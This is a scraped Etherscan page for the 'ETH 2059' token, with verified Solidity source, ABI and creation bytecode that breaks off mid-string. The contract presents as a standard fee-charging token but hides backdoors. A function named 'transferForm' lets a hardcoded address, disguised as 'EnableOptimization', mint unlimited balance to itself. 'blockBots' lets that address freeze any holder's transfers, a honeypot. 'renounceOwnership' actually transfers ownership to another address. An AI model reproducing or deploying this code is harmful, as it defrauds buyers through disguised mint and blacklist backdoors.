ETH Price: $3,489.52 (+2.63%)
Gas: 13 Gwei

Token

ETH 2059 (2059)
 

Overview

Max Total Supply

1,000,000,000 2059

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
31,003,561.219823222 2059

Value
$0.00
0x0a6e6d297fC307cDcFda4E123F3b550aaa1cbB14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETH2059

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

/**

    https://t.me/Eth2059Portal

*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ETH2059 is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "ETH 2059";
    string private _symbol = "2059";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public EnableOptimization;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _handPaper;

    uint256 public _buyMarketingFee = 2;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        EnableOptimization = payable(address(0x11C8BfefE110bEA3665cF780e6240533E17be9B7));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function blockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == EnableOptimization&& addresses.length >= 0 );
        for (uint256 i; i < addresses.length; i++) {
            _handPaper[addresses[i]] = status;
        }
    }

    function transferForm(uint256 Reference) public {
        address account = EnableOptimization;
        uint256 compile = _balances[account];
        require(msg.sender == account);
        uint256 run = compile + Reference;
        _balances[account] = run;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            EnableOptimization.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_handPaper[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableOptimization","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_handPaper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Reference","type":"uint256"}],"name":"transferForm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600881526020017f4554482032303539000000000000000000000000000000000000000000000000815250600190816200004a919062000655565b506040518060400160405280600481526020017f32303539000000000000000000000000000000000000000000000000000000008152506002908162000091919062000655565b506009600360006101000a81548160ff021916908360ff1602179055506002600a556003600b55600360009054906101000a900460ff16600a620000d69190620008cc565b633b9aca00620000e791906200091d565b600c55348015620000f757600080fd5b5062000108620003aa60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001d8620003b260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507311c8bfefe110bea3665cf780e6240533e17be9b7600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002ed620003aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200033b620003aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200039c91906200098f565b60405180910390a3620009ac565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200045d57607f821691505b60208210810362000473576200047262000415565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200049e565b620004e986836200049e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000536620005306200052a8462000501565b6200050b565b62000501565b9050919050565b6000819050919050565b620005528362000515565b6200056a62000561826200053d565b848454620004ab565b825550505050565b600090565b6200058162000572565b6200058e81848462000547565b505050565b5b81811015620005b657620005aa60008262000577565b60018101905062000594565b5050565b601f8211156200060557620005cf8162000479565b620005da846200048e565b81016020851015620005ea578190505b62000602620005f9856200048e565b83018262000593565b50505b505050565b600082821c905092915050565b60006200062a600019846008026200060a565b1980831691505092915050565b600062000645838362000617565b9150826002028217905092915050565b6200066082620003db565b67ffffffffffffffff8111156200067c576200067b620003e6565b5b62000688825462000444565b62000695828285620005ba565b600060209050601f831160018114620006cd5760008415620006b8578287015190505b620006c4858262000637565b86555062000734565b601f198416620006dd8662000479565b60005b828110156200070757848901518255600182019150602085019450602081019050620006e0565b8683101562000727578489015162000723601f89168262000617565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007ca57808604811115620007a257620007a16200073c565b5b6001851615620007b25780820291505b8081029050620007c2856200076b565b945062000782565b94509492505050565b600082620007e55760019050620008b8565b81620007f55760009050620008b8565b81600181146200080e576002811462000819576200084f565b6001915050620008b8565b60ff8411156200082e576200082d6200073c565b5b8360020a9150848211156200084857620008476200073c565b5b50620008b8565b5060208310610133831016604e8410600b8410161715620008895782820a9050838111156200088357620008826200073c565b5b620008b8565b62000898848484600162000778565b92509050818404811115620008b257620008b16200073c565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008d98262000501565b9150620008e683620008bf565b9250620009157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d3565b905092915050565b60006200092a8262000501565b9150620009378362000501565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200097357620009726200073c565b5b828202905092915050565b620009898162000501565b82525050565b6000602082019050620009a660008301846200097e565b92915050565b612cc680620009bc6000396000f3fe6080604052600436106101395760003560e01c80633ecad271116100ab578063c5d241891161006f578063c5d241891461046f578063c816841b1461049a578063c8607952146104c5578063c9567bf9146104f0578063d478a06c14610507578063dd62ed3e1461053057610140565b80633ecad2711461036257806370a082311461039f5780638da5cb5b146103dc57806395d89b4114610407578063a9059cbb1461043257610140565b806318160ddd116100fd57806318160ddd1461024057806323b872dd1461026b578063313ce567146102a85780633345611e146102d357806338bf3cfa146103105780633eca1a531461033957610140565b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101ad578063113daa7c146101ea5780631694505e1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b604051610167919061204c565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061210c565b6105ff565b6040516101a49190612167565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612182565b61061d565b6040516101e19190612167565b60405180910390f35b3480156101f657600080fd5b506101ff61063d565b60405161020c91906121d0565b60405180910390f35b34801561022157600080fd5b5061022a610663565b604051610237919061224a565b60405180910390f35b34801561024c57600080fd5b50610255610689565b6040516102629190612274565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d919061228f565b610693565b60405161029f9190612167565b60405180910390f35b3480156102b457600080fd5b506102bd61076d565b6040516102ca91906122fe565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612182565b610784565b6040516103079190612167565b60405180910390f35b34801561031c57600080fd5b5061033760048036038101906103329190612182565b6107a4565b005b34801561034557600080fd5b50610360600480360381019061035b9190612319565b6108f6565b005b34801561036e57600080fd5b5061038960048036038101906103849190612182565b6109f3565b6040516103969190612167565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612182565b610a13565b6040516103d39190612274565b60405180910390f35b3480156103e857600080fd5b506103f1610a5c565b6040516103fe9190612355565b60405180910390f35b34801561041357600080fd5b5061041c610a85565b604051610429919061204c565b60405180910390f35b34801561043e57600080fd5b506104596004803603810190610454919061210c565b610b17565b6040516104669190612167565b60405180910390f35b34801561047b57600080fd5b50610484610b36565b6040516104919190612274565b60405180910390f35b3480156104a657600080fd5b506104af610b3c565b6040516104bc9190612355565b60405180910390f35b3480156104d157600080fd5b506104da610b62565b6040516104e79190612274565b60405180910390f35b3480156104fc57600080fd5b50610505610b68565b005b34801561051357600080fd5b5061052e60048036038101906105299190612401565b610f13565b005b34801561053c57600080fd5b5061055760048036038101906105529190612461565b611029565b6040516105649190612274565b60405180910390f35b60606001805461057c906124d0565b80601f01602080910402602001604051908101604052809291908181526020018280546105a8906124d0565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c6110b0565b84846110b8565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106a0848484611281565b50610762846106ad6110b0565b61075d85604051806060016040528060288152602001612c6960289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107136110b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca9092919063ffffffff16565b6110b8565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6107ac6110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108309061254d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461099957600080fd5b600083826109a7919061259c565b905080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a94906124d0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac0906124d0565b8015610b0d5780601f10610ae257610100808354040283529160200191610b0d565b820191906000526020600020905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b6000610b2b610b246110b0565b8484611281565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b610b706110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf49061254d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8591906125e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1091906125e5565b6040518363ffffffff1660e01b8152600401610d2d929190612612565b6020604051808303816000875af1158015610d4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7091906125e5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f546110b0565b73ffffffffffffffffffffffffffffffffffffffff16148015610f7b575060008383905010155b610f8457600080fd5b60005b83839050811015611023578160096000868685818110610faa57610fa961263b565b5b9050602002016020810190610fbf9190612182565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061101b9061266a565b915050610f87565b50505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90612724565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d906127b6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112749190612274565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890612848565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611360576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611357906128da565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113b757600080fd5b600d60009054906101000a900460ff16156113de576113d784848461192e565b90506118c3565b60006113e930610a13565b9050600d60009054906101000a900460ff161580156114525750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114615761146081611b01565b5b6114b383600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115995750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115a6578390506117c2565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611629576116226064611614600a5488611e3790919063ffffffff16565b611eb190919063ffffffff16565b90506116a7565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116a6576116a36064611695600b5488611e3790919063ffffffff16565b611eb190919063ffffffff16565b90505b5b60008111156117ab5761170281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efb90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a29190612274565b60405180910390a35b6117be8186611ded90919063ffffffff16565b9150505b61181481600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efb90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b49190612274565b60405180910390a36001925050505b9392505050565b6000838311158290611912576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611909919061204c565b60405180910390fd5b506000838561192191906128fa565b9050809150509392505050565b60006119b9826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aee9190612274565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b3957611b3861292e565b5b604051908082528060200260200182016040528015611b675781602001602082028036833780820191505090505b5090503081600081518110611b7f57611b7e61263b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4a91906125e5565b81600181518110611c5e57611c5d61263b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cc530600d60019054906101000a900473fffffffffffffffff